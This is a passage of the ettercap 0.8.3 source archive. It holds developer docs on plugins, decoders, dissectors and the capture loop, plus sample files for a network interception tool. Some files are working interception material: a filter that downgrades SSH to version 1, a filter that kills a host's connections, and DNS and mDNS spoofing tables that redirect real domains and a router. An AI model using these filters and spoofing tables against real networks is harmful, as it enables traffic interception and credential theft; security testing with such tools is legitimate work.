"${CMAKE_SCRIPT_PATH}/cmake_uninstall.cmake.in" "${CMAKE_CURRENT_BINARY_DIR}/cmake_uninstall.cmake" IMMEDIATE @ONLY) add_custom_target(uninstall COMMAND ${CMAKE_COMMAND} -P ${CMAKE_CURRENT_BINARY_DIR}/cmake_uninstall.cmake) # Add a target that will ensure that the build directory is properly cleaned. add_custom_target(clean-all COMMAND ${CMAKE_BUILD_TOOL} clean COMMAND ${CMAKE_COMMAND} -P ${CMAKE_SCRIPT_PATH}/clean-all.cmake ) # If we notice that this isn't the first time they've run if(NOT ("${CMAKE_CACHEFILE_DIR}" STREQUAL "")) message("") message("HAVING TROUBLE BUILDING ETTERCAP? ") message("") message(" 1. Install any missing dependencies") message(" 2. run 'make clean-all'") message(" 3. run 'cmake ${CMAKE_SOURCE_DIR}'") message("") endif() include(FeatureSummary) feature_summary(WHAT ALL) ettercap-0.8.3/doc/0000755000175000017500000000000013505247364013741 5ustar koeppeakoeppeaettercap-0.8.3/doc/plugins0000644000175000017500000001601613505247364015351 0ustar koeppeakoeppea=============================================================================== TOPIC: plugins ABSTRACT: this file describes how to write a plugin for ettercap NG NOTE: the plugin system has been modified since ettercap NG 0.7.0, all plugins coded for the 0.6.x series must be ported to the new api. =============================================================================== We believe that an example tells much more than thousand words. So we wrote a plugin templates to demonstrate how to write a simple plugin. The template is called "dummy". Look at its source code (well commented). However here there are some directive you have to respect. 1) THE INCLUDES #include /* required for global variables */ #include /* required for plugin ops */ these are required, but you can include as many includes as you want. 2) PLUGIN OPERATION struct plugin_ops ops = { .ettercap_version = EC_VERSION, .name = "plugin name", .info = "description of the plugin", .version = "x.y", .init = &init_function, .fini = &fini_function, }; for every plugin you have to fill this structure with the appropriate fields. This structure MUST be passed to plugin_register() in the plugin_load() function. (see below) ettercap_version: MUST be the global EC_VERSION. this variable is used for internal check to prevent that a plugin compiled for an ettercap version will be used with a different api version. name: is a string containing the name of the plugin info: is a string with the description of the plugin version: is a string with the version of the plugin init: is a pointer to the function ettercap has to call on when the user selects the plugin fini: is a pointer to the function to be executed to deactivate the plugin 3) INITIALIZATION AND FINALIZATION Every plugin MUST contain a function called plugin_load(). This function is called by ettercap when the plugin is loaded by lt_dlopen(). It is used to register the plugin in the plugin list. To do this, it MUST return to value returned by plugin_register(). The plugin_register() wants two parameter, the handle passed to plugin_load and the plugin_ops described above. int plugin_load(void *handle) { . . . return plugin_register(handle, &ops); } When the user activate the plugin, ettercap calls the function registered in the plugin_ops as 'init'. If the user wants to deactivate the plugins, ettercap calls the registered 'fini' function. You can do whatever you want in this functions, the only thing to be respected is the return value. There are two different return value: PLUGIN_FINISHED: the plugin has finished its execution. The fini function will never be called. This is usually used if the plugin perform an operation and exit (as for the old external plugins) PLUGIN_RUNNING: the plugin is still running and will be deactivated with the fini function. This is used if the plugin spawns a thread or it has hooked to an ettercap hookpoint. In case the plugin has created a thread, it must be killed in the 'fini' function. 4) HOOKING POINTS An hooking function must be declared as: void func(struct packet_object *po) Every hook point recall the function passing the packet object as the parameter. HOOK_RECEIVED the raw packet, the L* structures are not filled. you can modify the packet before the protocol analysis starts. HOOK_DECODED all the packet after the protocol stack parsing and after the dissectors. here you can find interesting information such as passwords and fingerprints. HOOK_PRE_FORWARD right before the forward point. the hook is executed only if it has to be forwarded. HOOK_HANDLED top of the protocol stack but before the dissectors. you can set/unset the PO_IGNORE flag to decide to not pass the packet to the top_half HOOK_FILTER the content filtering point. the hook point is right after the filtering engine. HOOK_DISPATCHER in the top_half (the packet is a copy). if you modify the packet here there is no change to see the modification on the wire :) You can use this hook for operations that requires much time but don't modify the packet. Since the capture thread must be fast (to forward all the packets) the cpu consuming task (such as connection tracking and profiles management) are performed in the top_half. HOOK_PACKET_* Every packet type as a different hook point. If you want to receive only tcp packet, hook to the HOOK_PACKET_TCP, if you want ppp packet, hook to HOOK_PACKET_PPP and so on... These hooks are declared in the protocol decoder (./src/protocols/*.c) HOOK_PROTO_* Some protocols declare an hookpoint. Look in ./src/dissectors/*.c to have a list of hooks. refer to the 'capture' document in order to have a complete view of the hooking system. 5) ETTERCAP API + USER_MSG() same as printf(), but required in order to output to the user interface. use this function if the plugin has to communicate with the user. + INSTANT_USER_MSG() same as USER_MSG but without buffering. the buffer flush is called immediately. usually is the GUI that call the flush periodically (every 10 msec). + ui_input() if the plugin needs some input from the user. you can provide a callback or not, depending of what the function does. Obviously a plugin can use all the ettercap function and its global variables. They are not described here because it is out of the document scope. feel free to write an email to the developer to have further information. EOF ettercap-0.8.3/doc/decoders0000644000175000017500000000446513505247364015465 0ustar koeppeakoeppea=============================================================================== TOPIC: decoder ABSTRACT: this file describes how to write a protocol decoder and how to fill the structures in order to ettercap understand them NOTE: decoders refers to functions analyzing protocols such as TCP or UDP. functions that handle the application level of the TCP/IP stack are called dissectors and they are stored in the src/dissectors directory. =============================================================================== The decoders are organized as in a protocol stack as for the TCP/IP stack. The captured packet is passed to the decoder of the lowest level (link layer) which decodes its header, fills the struct in the packet object and pass the packet to the decoder of the upper level. Each decoder calls the next one according to the type of packet carried by the current header. For example the ethernet decoder call the next one looking at the eth->proto field (0x0800 for IP). You can imagine the process as a stack of layers. The packet goes up while gets decoded and down when each decoder returns. In the descending phase you can adjust the packet if a modification in the upper layer has been performed. Each decoder must register itself with the add_decoder() function. The decoder must provide a level (as for the ISO/OSI stack) and a type (for the specific protocol). A decoder must use the macro provided in the ec_decode.h file. The main function must be declared as: FUNC_DECODER(new_decoder) { ... } within the function code, some macro are provided to properly handle the structures. DECODED_LEN (int) is the len of the data the decoder can parse PACKET (struct packet_object) the PO structure associated with data FUNC_DECODER_PTR() can be used to declare a pointer to a decoder. get_decoder(level, type) this fuction is used to retrieve a decoder for a give level. the decoder are registered in the list of decoder on startup. every decoder registers itself in the proper level (2 for eth, 3 for ip, etc) in the __init function. EXECUTE_DECODER() this macro is used to execute the next decoder in the stack. EOF ettercap-0.8.3/doc/threads0000644000175000017500000000360013505247364015315 0ustar koeppeakoeppea=============================================================================== TOPIC: threads ABSTRACT: this file describes how threads are managed by ettercap NOTE: none =============================================================================== ettercap uses the pthread library to manage internal threads. the file ec_threads.c gives to the developer some wrapper to create ettercap threads. in the file ec_thread.h we find these functions: char * ec_thread_getname(pthread_t id); to get the name of a thread. this is only useful for debugging purpose. the DEBUG_MSG macro prints the name of the thread and then the message, so you can easily know which thread is doing what. pthread_t ec_thread_getpid(char *name); to get the pid of a given thread. it is used to kill a thread previously created with a specific name. void ec_thread_register(pthread_t id, char *name, char *desc); to give a name and a description to a thread. pthread_t ec_thread_new(char *name, char *desc, void *(*function)(void *), void *args); to create a thread. the third parameter is the function that will become the main of the thread. the fourth parameter is used to pass a parameter to the thread. void ec_thread_init(void); this function must be called by the newly created thread to synchronize with the thread that has created it. it unlock a special mutex, so it is mandatory to perform this action, else ettercap will lockup. void ec_thread_destroy(pthread_t id); to kill a thread. ettercap uses the pthread_join inside this function. this is because we have to wait that the thread has finished its clean up before continuing with other operations. void ec_thread_kill_all(void); to kill all the thread but the caller of the function itself :) EOF ettercap-0.8.3/doc/dissectors0000644000175000017500000000470013505247364016047 0ustar koeppeakoeppea=============================================================================== TOPIC: dissector ABSTRACT: this file describes how to write a dissector and how to fill the correct structures in order to ettercap understand them NOTE: dissectors refers to functions analyzing application protocols such as FTP or POP. functions that handle the lower level of the TCP/IP stack are called decoder and they are stored in the src/protocols directory. =============================================================================== A dissector must use the macro provided in the ec_decode.h file. The main function must be declared as: FUNC_DECODER(new_dissector) { ... } within the function code, some macro are provided to properly handle the structures. DECODE_DATALEN (int) is the len of the data the decoder can parse DECODE_DATA (u_char) is the buffer containing the data PACKET (struct packet_object) the PO structure associated with data DECLARE_REAL_PTR_END(x,y) used to declare two u_char pointer, one (x) at the beginning of the data and one (y) at the end. DECLARE_DISP_PTR_END(x,y) used to declare two u_char pointer, one (x) at the beginning of the disp_data buffer and one (y) at the end. DISPLAY_DATA (u_char) it is the buffer it will be displayed in the interface. this is made because encrypted protocols must be forwarded encrypted, but visualized as plain text. if the protocols is already in plain text don't have to copy the data in the buffer, otherwise copy the decrypted text in this buffer DISPLAY_LEN (int) set it to the len of the decrypted data. User and pass information must be sent in the same packet. This is mandatory for the correct association with the passive profiling of the servers. They must be sent associated with a packet GOING TO the server. The banner identification of the service have to be sent associate with a packet COMING FROM the server port. Since the dissector function is invoked one time per packet, the dissector has the scope of a single packet not a stream. You have to take care of this and use the sessions management (see the relative documentation) to pass data through subsequent activation of the function. EOF ettercap-0.8.3/doc/capture0000644000175000017500000000340513505247364015331 0ustar koeppeakoeppea=============================================================================== TOPIC: capture ABSTRACT: this file describes how the capture process works within ettercap NOTE: when in bridged sniffing, two threads are spawned, one for each network interface. =============================================================================== Here is represented in Very-High-Level-Language the capture thread behavior: loop { receives a single packet from the pcap callback updates the packet statistics dump the packet to a file (if the user has requested it) if (truncated) continue; creates the packet object determine the interface where the packet was captured HOOK POINT: HOOK_RECEIVED starts the protocol decoding -> the packet is decoded by decoder and the po is filled -> the ip and tcp sessions are created -> the middle layer is called (only if TCP or UDP) -> if (PO_DONT_DISSECT) return; -> set the PO_IGNORE according to the visualization filters -> HOOK POINT: HOOK_HANDLED -> if (PO_IGNORE) return; -> execute the dissectors -> HOOK POINT: HOOK_DECODED -> execute the filtering engine -> HOOK POINT: HOOK_FILTER -> a copy of the packet is added to the top_half queue if (PO_FORWARDABLE) { HOOK POINT: HOOK_PRE_FORWARD forward the packet to the real host (the victim) } destroy the packet object } Top_half thread behavior: loop { extract a packet from the top_half queue HOOK POINT: HOOK_DISPATCHER destroy the packet } EOF ettercap-0.8.3/AUTHORS0000644000175000017500000000452213505247364014247 0ustar koeppeakoeppeaAUTHORS: -------- ALoR (Alberto Ornaghi) NaGA (Marco Valleri) PROJECT STEWARDS: ----------------- Emilio Escobar Eric Milam ============================================================================== OFFICIAL DEVELOPERS: Emilio Escobar (exfil) { Core Development } Mike Ryan (justfalter) { Core Development and Testing } Ryan Linn { Core Development and Testing } Gianfranco Costamagna (LocutusOfBorg) { Bug Hunting, Bug fixing and patch backporting } Jacob Baines { Development and Bug fixes } Antonio Collarino (sniper) { Core and Plugin Development, Testing } Alexander Koeppe (koeppea) { IPv6 support GTK UI Bug fixing } CONTRIBUTORS: ------------- Dhiru Kholia (kholia) { O5Logon, MySQL 5.x dissector, PostgreSQL dissector, TN3270 dissector } Mainframed { TN3270 dissector } Eric Milam (Brav0Hax) { User Testing } Frekky { dns_spoof plugin TTL option } CONTRIBUTORS (Lazarus): ----------------------- Martin Bos (PureHate) { Testing } Enrique Sanchez { Code Review } CONTRIBUTORS (for the Next Generation series): ---------------------------------------------- Gisle Vanem { for the mingw porting } Johannes Bauer { for the prism2 decoder } Daten (Bryan Schneiders) { the GTK interface } CONTRIBUTORS (for the First Generation series): ----------------------------------------------- Lnz (Lorenzo Porro) { some dissectors } Tavi (Octavian Mihalache) { win9x porting } Georg Hofstetter { HL-RCON dissector } Giorgio Zoppi { security patch } Garph0 { plugin porting for windows } Zero_Chaos { Lamer, buildscript kiddie fixes } ettercap-0.8.3/share/0000755000175000017500000000000013505247364014276 5ustar koeppeakoeppeaettercap-0.8.3/share/etter.mdns0000644000175000017500000000672713505247364016320 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.mdns -- host file for mdns_spoof plugin # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ # # # Sample hosts file for mdns_spoof plugin # # # # the format is (for A query): # # www.myhostname.com A 168.11.22.33 # # *.foo.com A 168.44.55.66 # # # # ... for a AAAA query (same hostname allowed): # # www.myhostname.com AAAA 2001:db8::1 # # *.foo.com AAAA 2001:db8::2 # # # # or for PTR query: # # www.bar.com PTR 10.0.0.10 # # www.google.com PTR ::1 # # # # or for SRV query (either IPv4 or IPv6): # # service._tcp|_udp.domain SRV 192.168.1.10:port # # service._tcp|_udp.domain SRV [2001:db8::3]:port # # # # NOTE: the wildcarded hosts can't be used to poison the PTR requests # # so if you want to reverse poison you have to specify a plain # # host. (look at the www.microsoft.com example) # # # ############################################################################ ################################ # microsoft sucks ;) # redirect it to www.linux.org # microsoft.com A 198.182.196.56 *.microsoft.com A 198.182.196.56 www.microsoft.com PTR 198.182.196.56 # Wildcards in PTR are not allowed ########################################## # normally .local is dedicated use for mDNS # try to redirect the router admin router.local A 192.168.0.25 router.local AAAA 2001:db8::25 # our router supports also IPv6 router.local PTR 192.168.0.25 router.local PTR 2001:db8::25 ############################################### # some service discovery examples xmpp-server._tcp.jabber.org SRV 192.168.1.10:5269 domain._udp.local SRV [2001:db8:c001:beef::1]:53 # vim:ts=8:noexpandtab ettercap-0.8.3/share/etter.filter.kill0000644000175000017500000000245313505247364017566 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.filter -- filter source file # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ ## # # This filter will kill all the connection made by an host. # this can be used instead of the old 'banshee' plugin. # if you need to add target victims, simply copy the code as many time you # want ## if (ip.src == '192.168.1.1') { # sent the RST to both source and dest kill(); # don't even forward the packet drop(); } if (ip.src == '192.168.1.2') { kill(); drop(); } ettercap-0.8.3/share/etterfilter.cnt0000644000175000017500000000254313505247364017341 0ustar koeppeakoeppea############################################################################ # # # etterfilter -- etterfilter.cnt -- constants for etterfilter # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ # # # # ############################################################################ # Layer 3 constants ARP = 0x0806 IP = 0x0800 IP6 = 0x86DD PPPOE = 0x880B PPTP = 0x880B # Layer 4 constants (IPPROTO_*) ICMP = 0x01 ICMP6 = 0x3a ESP = 0x32 TCP = 0x06 UDP = 0x11 GRE = 0x2f OSPF = 0x59 VRRP = 0x70 # EOF ettercap-0.8.3/share/etter.mime0000644000175000017500000000436313505247364016300 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.mime -- mime types for thief plugin # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ # # format: # # mime_typeextension # # MIME type Extension application/mac-binhex40 hqx application/msword doc application/octet-stream bin application/pdf pdf application/postscript ps application/rtf rtf application/x-cpio cpio application/x-gtar gtar application/x-gzip gz application/x-javascript js application/x-latex latex application/x-shockwave-flash swf application/x-tar tar application/zip zip audio/basic au audio/midi midi audio/mpeg mp3 audio/x-aiff aif audio/x-pn-realaudio ram audio/x-pn-realaudio-plugin rpm audio/x-realaudio ra audio/x-wav wav image/gif gif image/jpeg jpg image/png png image/tiff tiff image/x-xbitmap xbm image/x-xpixmap xpm text/css css text/plain txt text/xml xml video/mpeg mpeg video/quicktime mov video/x-msvideo avi ettercap-0.8.3/share/etter.dns0000644000175000017500000001346413505247364016137 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.dns -- host file for dns_spoof plugin # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ # # # Sample hosts file for dns_spoof plugin # # # # the format is (for A query): # # www.myhostname.com A 168.11.22.33 3600 # # *.foo.com A 168.44.55.66 [optional TTL] # # # # ... for a AAAA query (same hostname allowed): # # www.myhostname.com AAAA 2001:db8::1 # # *.foo.com AAAA 2001:db8::2 [optional TTL] # # # # or to skip a protocol family (useful with dual-stack): # # www.hotmail.com AAAA :: # # www.yahoo.com A 0.0.0.0 # # # # or for PTR query: # # www.bar.com PTR 10.0.0.10 [TTL] # # www.google.com PTR ::1 [TTL] # # # # or for MX query (either IPv4 or IPv6): # # domain.com MX xxx.xxx.xxx.xxx [TTL] # # domain2.com MX xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx # # domain3.com MX xxxx:xxxx::y # # # # or for WINS query: # # workgroup WINS 127.0.0.1 [TTL] # # PC* WINS 127.0.0.1 # # # # or for SRV query (either IPv4 or IPv6): # # service._tcp|_udp.domain SRV 192.168.1.10:port [TTL] # # service._tcp|_udp.domain SRV [2001:db8::3]:port # # # # or for TXT query (value must be wrapped in double quotes): # # google.com TXT "v=spf1 ip4:192.168.0.3/32 ~all" [TTL] # # # # NOTE: the wildcarded hosts can't be used to poison the PTR requests # # so if you want to reverse poison you have to specify a plain # # host. (look at the www.microsoft.com example) # # # # NOTE: Default DNS TTL is 3600s (1 hour). All TTL fields are optional. # # # ############################################################################ ################################ # microsoft sucks ;) # redirect it to www.linux.org # microsoft.com A 107.170.40.56 1800 *.microsoft.com A 107.170.40.56 3600 www.microsoft.com PTR 107.170.40.56 # Wildcards in PTR are not allowed ########################################## # no one out there can have our domains... # www.alor.org A 127.0.0.1 2147483647 # It shall last forever! www.naga.org A 127.0.0.1 30 # Or only 30 seconds www.naga.org AAAA 2001:db8::2 # Default is 3600 seconds (1 hour) ########################################## # dual stack enabled hosts does not make life easy # force them back to single stack www.ietf.org A 127.0.0.1 www.ietf.org AAAA :: www.example.org A 0.0.0.0 www.example.org AAAA ::1 ############################################### # one day we will have our ettercap.org domain # www.ettercap.org A 127.0.0.1 www.ettercap-project.org A 127.0.0.1 ettercap.sourceforge.net A 23.235.43.133 www.ettercap.org PTR ::1 ############################################### # some MX examples # alor.org MX 127.0.0.1 naga.org MX 127.0.0.1 example.org MX 127.0.0.2 microsoft.com MX 2001:db8::1ce:c01d:bee3 ############################################### # This messes up NetBIOS clients using DNS # resolutions. I.e. Windows/Samba file sharing. # LAB-PC* WINS 127.0.0.1 ############################################### # some service discovery examples xmpp-server._tcp.jabber.org SRV 192.168.1.10:5269 ldap._udp.mynet.com SRV [2001:db8:c001:beef::1]:389 ############################################### # little example for TXT records # naga.org TXT "v=spf1 ip4:192.168.1.2 ip6:2001:db8:d0b1:beef::2 -all" # vim:ts=8:noexpandtab ettercap-0.8.3/share/etter.nbns0000644000175000017500000000316513505247364016310 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.nbns -- host file for nbns_spoof plugin # # # # Copyright (C) Ettercap Team # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ # # # Sample hosts file for dns_spoof plugin # # # # NAME # # # # Example: # # CORP 192.168.0.10 # # # ############################################################################ #just for fun WORKGROUP 127.0.0.1 ettercap-0.8.3/share/etter.filter.ssh0000644000175000017500000000334513505247364017431 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.filter -- filter source file # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ ## # # This filter will substitute the SSH server response from SSH-1.99 to # SSH-1.51, so if the server supports both ssh1 and ssh2 we will force # it to use ssh1... ;) # server response : SSH-2.00 only ssh2 supported # SSH-1.99 both ssh1 and ssh2 supported # SSH-1.51 only ssh1 supported ## if (ip.proto == TCP) { if (tcp.src == 22) { if ( replace("SSH-1.99", "SSH-1.51") ) { msg("[SSH Filter] SSH downgraded from version 2 to 1\n"); } else { if ( search(DATA.data, "SSH-2.00") ) { msg("[SSH Filter] Server supports only SSH version 2\n"); } else { if ( search(DATA.data, "SSH-1.51") ) { msg("[SSH Filter] Server already supports only version 1\n"); } } } } } ettercap-0.8.3/share/etter.services0000644000175000017500000031646013505247364017200 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.services -- services database # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ # # # Total entries : 2183 # # # ############################################################################ # # Network services, Internet style # # Note that it is presently the policy of IANA to assign a single well-known # port number for both TCP and UDP; hence, most entries here have two entries # even if the protocol doesn't support UDP operations. # Updated from RFC 1700, ``Assigned Numbers'' (October 1994). Not all ports # are included, only the more common ones. # # The latest IANA port assignments can be gotten from # http://www.iana.org/assignments/port-numbers # The Well Known Ports are those from 0 through 1023. # The Registered Ports are those from 1024 through 49151 # The Dynamic and/or Private Ports are those from 49152 through 65535 # # Each line describes one service, and is of the form: # # service-name port/protocol [aliases ...] [# comment] # This list of services is from the # Nmap security scanner ( http://www.insecure.org/nmap/ ) # # For a HUGE list of services (including these and others), # see http://www.graffiti.com/services tcpmux 1/tcp # TCP Port Service Multiplexer [rfc-1078] tcpmux 1/udp # TCP Port Service Multiplexer compressnet 2/tcp # Management Utility compressnet 2/udp # Management Utility compressnet 3/tcp # Compression Process compressnet 3/udp # Compression Process rje 5/tcp # Remote Job Entry rje 5/udp # Remote Job Entry echo 7/tcp # echo 7/udp # discard 9/tcp # sink null discard 9/udp # sink null systat 11/tcp # Active Users systat 11/udp # Active Users daytime 13/tcp # daytime 13/udp # netstat 15/tcp # qotd 17/tcp # Quote of the Day qotd 17/udp # Quote of the Day msp 18/tcp # Message Send Protocol msp 18/udp # Message Send Protocol chargen 19/tcp # ttytst source Character Generator chargen 19/udp # ttytst source Character Generator ftp-data 20/tcp # File Transfer [Default Data] ftp-data 20/udp # File Transfer [Default Data] ftp 21/tcp # File Transfer [Control] ftp 21/udp # File Transfer [Control] ssh 22/tcp # Secure Shell Login ssh 22/udp # Secure Shell Login telnet 23/tcp # telnet 23/udp # priv-mail 24/tcp # any private mail system priv-mail 24/udp # any private mail system smtp 25/tcp # Simple Mail Transfer smtp 25/udp # Simple Mail Transfer nsw-fe 27/tcp # NSW User System FE nsw-fe 27/udp # NSW User System FE msg-icp 29/tcp # MSG ICP msg-icp 29/udp # MSG ICP msg-auth 31/tcp # MSG Authentication msg-auth 31/udp # MSG Authentication dsp 33/tcp # Display Support Protocol dsp 33/udp # Display Support Protocol priv-print 35/tcp # any private printer server priv-print 35/udp # any private printer server time 37/tcp # timserver time 37/udp # timserver rap 38/tcp # Route Access Protocol rap 38/udp # Route Access Protocol rlp 39/tcp # Resource Location Protocol rlp 39/udp # Resource Location Protocol graphics 41/tcp # graphics 41/udp # nameserver 42/tcp # Host Name Server nameserver 42/udp # Host Name Server whois 43/tcp # nicname shois 43/udp # nicname mpm-flags 44/tcp # MPM FLAGS Protocol mpm-flags 44/udp # MPM FLAGS Protocol mpm 45/tcp # Message Processing Module [recv] mpm 45/udp # Message Processing Module [recv] mpm-snd 46/tcp # MPM [default send] mpm-snd 46/udp # MPM [default send] ni-ftp 47/tcp # NI FTP ni-ftp 47/udp # NI FTP auditd 48/tcp # Digital Audit Daemon auditd 48/udp # Digital Audit Daemon tacacs 49/tcp # Login Host Protocol (TACACS) tacacs 49/udp # Login Host Protocol (TACACS) re-mail-ck 50/tcp # Remote Mail Checking Protocol re-mail-ck 50/udp # Remote Mail Checking Protocol la-maint 51/tcp # IMP Logical Address Maintenance la-maint 51/udp # IMP Logical Address Maintenance xns-time 52/tcp # XNS Time Protocol xns-time 52/udp # XNS Time Protocol domain 53/tcp # Domain Name Server domain 53/udp # Domain Name Server xns-ch 54/tcp # XNS Clearinghouse xns-ch 54/udp # XNS Clearinghouse isi-gl 55/tcp # ISI Graphics Language isi-gl 55/udp # ISI Graphics Language xns-auth 56/tcp # XNS Authentication xns-auth 56/udp # XNS Authentication priv-term 57/tcp # any private terminal access priv-term 57/udp # any private terminal access xns-mail 58/tcp # XNS Mail xns-mail 58/udp # XNS Mail priv-file 59/tcp # any private file service priv-file 59/udp # any private file service ni-mail 61/tcp # NI MAIL ni-mail 61/udp # NI MAIL acas 62/tcp # ACA Services acas 62/udp # ACA Services via-ftp 63/tcp # VIA Systems - FTP & whois++ via-ftp 63/udp # VIA Systems - FTP & whois++ covia 64/tcp # Communications Integrator (CI) covia 64/udp # Communications Integrator (CI) tacacs-ds 65/tcp # TACACS-Database Service tacacs-ds 65/udp # TACACS-Database Service sql*net 66/tcp # Oracle SQL*NET sql*net 66/udp # Oracle SQL*NET dhcpserver 67/tcp # DHCP/Bootstrap Protocol Server dhcpserver 67/udp # DHCP/Bootstrap Protocol Server dhcpclient 68/tcp # DHCP/Bootstrap Protocol Client dhcpclient 68/udp # DHCP/Bootstrap Protocol Client tftp 69/tcp # Trivial File Transfer tftp 69/udp # Trivial File Transfer gopher 70/tcp # gopher 70/udp # netrjs-1 71/tcp # Remote Job Service netrjs-1 71/udp # Remote Job Service netrjs-2 72/tcp # Remote Job Service netrjs-2 72/udp # Remote Job Service netrjs-3 73/tcp # Remote Job Service netrjs-3 73/udp # Remote Job Service netrjs-4 74/tcp # Remote Job Service netrjs-4 74/udp # Remote Job Service priv-dial 75/tcp # any private dial out service priv-dial 75/udp # any private dial out service deos 76/tcp # Distributed External Object Store deos 76/udp # Distributed External Object Store priv-rje 77/tcp # any private RJE service, netrjs priv-rje 77/udp # any private RJE service, netjrs vettcp 78/tcp # vettcp 78/udp # finger 79/tcp # finger 79/udp # http 80/tcp # World Wide Web HTTP http 80/udp # World Wide Web HTTP hosts2-ns 81/tcp # HOSTS2 Name Server hosts2-ns 81/udp # HOSTS2 Name Server xfer 82/tcp # XFER Utility xfer 82/udp # XFER Utility mit-ml-dev 83/tcp # MIT ML Device mit-ml-dev 83/udp # MIT ML Device ctf 84/tcp # Common Trace Facility ctf 84/udp # Common Trace Facility mit-ml-dev 85/tcp # MIT ML Device mit-ml-dev 85/udp # MIT ML Device mfcobol 86/tcp # Micro Focus Cobol mfcobol 86/udp # Micro Focus Cobol priv-term-l 87/tcp # any private terminal link, ttylink kerberos-sec 88/tcp # Kerberos (v5) kerberos-sec 88/udp # Kerberos (v5) su-mit-tg 89/tcp # SU/MIT Telnet Gateway su-mit-tg 89/udp # SU/MIT Telnet Gateway dnsix 90/tcp # DNSIX Securit Attribute Token Map dnsix 90/udp # DNSIX Securit Attribute Token Map mit-dov 91/tcp # MIT Dover Spooler mit-dov 91/udp # MIT Dover Spooler npp 92/tcp # Network Printing Protocol npp 92/udp # Network Printing Protocol dcp 93/tcp # Device Control Protocol dcp 93/udp # Device Control Protocol objcall 94/tcp # Tivoli Object Dispatcher objcall 94/udp # Tivoli Object Dispatcher supdup 95/tcp # BSD supdupd(8) supdup 95/udp # dixie 96/tcp # DIXIE Protocol Specification dixie 96/udp # DIXIE Protocol Specification swift-rvf 97/tcp # Swift Remote Virtural File Protocol swift-rvf 97/udp # Swift Remote Virtural File Protocol linuxconf 98/tcp # linuxconf tacnews 98/udp # TAC News metagram 99/tcp # Metagram Relay metagram 99/udp # Metagram Relay newacct 100/tcp # [unauthorized use] hostname 101/tcp # hostnames NIC Host Name Server hostname 101/udp # hostnames NIC Host Name Server iso-tsap 102/tcp # tsap ISO-TSAP Class 0 iso-tsap 102/udp # tsap ISO-TSAP Class 0 gppitnp 103/tcp # Genesis Point-to-Point Trans Net, or x400 ISO Email gppitnp 103/udp # Genesis Point-to-Point Trans Net acr-nema 104/tcp # ACR-NEMA Digital Imag. & Comm. 300 acr-nema 104/udp # ACR-NEMA Digital Imag. & Comm. 300 csnet-ns 105/tcp # Mailbox Name Nameserver csnet-ns 105/udp # Mailbox Name Nameserver pop3pw 106/tcp # Eudora compatible PW changer 3com-tsmux 106/udp # rtelnet 107/tcp # Remote Telnet rtelnet 107/udp # Remote Telnet Service snagas 108/tcp # SNA Gateway Access Server snagas 108/udp # SNA Gateway Access Server pop-2 109/tcp # PostOffice V.2 pop-2 109/udp # PostOffice V.2 pop-3 110/tcp # PostOffice V.3 pop-3 110/udp # PostOffice V.3 sunrpc 111/tcp # portmapper, rpcbind sunrpc 111/udp # portmapper, rpcbind mcidas 112/tcp # McIDAS Data Transmission Protocol mcidas 112/udp # McIDAS Data Transmission Protocol auth 113/tcp # ident, tap, Authentication Service auth 113/udp # ident, tap, Authentication Service audionews 114/tcp # Audio News Multicast audionews 114/udp # Audio News Multicast sftp 115/tcp # Simple File Transfer Protocol sftp 115/udp # Simple File Transfer Protocol ansanotify 116/tcp # ANSA REX Notify ansanotify 116/udp # ANSA REX Notify uucp-path 117/tcp # UUCP Path Service uucp-path 117/udp # UUCP Path Service sqlserv 118/tcp # SQL Services sqlserv 118/udp # SQL Services nntp 119/tcp # Network News Transfer Protocol nntp 119/udp # Network News Transfer Protocol cfdptkt 120/tcp # cfdptkt 120/udp # erpc 121/tcp # Encore Expedited Remote Pro.Call erpc 121/udp # Encore Expedited Remote Pro.Call smakynet 122/tcp # smakynet 122/udp # ntp 123/tcp # Network Time Protocol ntp 123/udp # Network Time Protocol ansatrader 124/tcp # ANSA REX Trader ansatrader 124/udp # ANSA REX Trader locus-map 125/tcp # Locus PC-Interface Net Map Ser locus-map 125/udp # Locus PC-Interface Net Map Ser unitary 126/tcp # Unisys Unitary Login unitary 126/udp # Unisys Unitary Login locus-con 127/tcp # Locus PC-Interface Conn Server locus-con 127/udp # Locus PC-Interface Conn Server gss-xlicen 128/tcp # GSS X License Verification gss-xlicen 128/udp # GSS X License Verification pwdgen 129/tcp # Password Generator Protocol pwdgen 129/udp # Password Generator Protocol cisco-fna 130/tcp # cisco FNATIVE cisco-fna 130/udp # cisco FNATIVE cisco-tna 131/tcp # cisco TNATIVE cisco-tna 131/udp # cisco TNATIVE cisco-sys 132/tcp # cisco SYSMAINT cisco-sys 132/udp # cisco SYSMAINT statsrv 133/tcp # 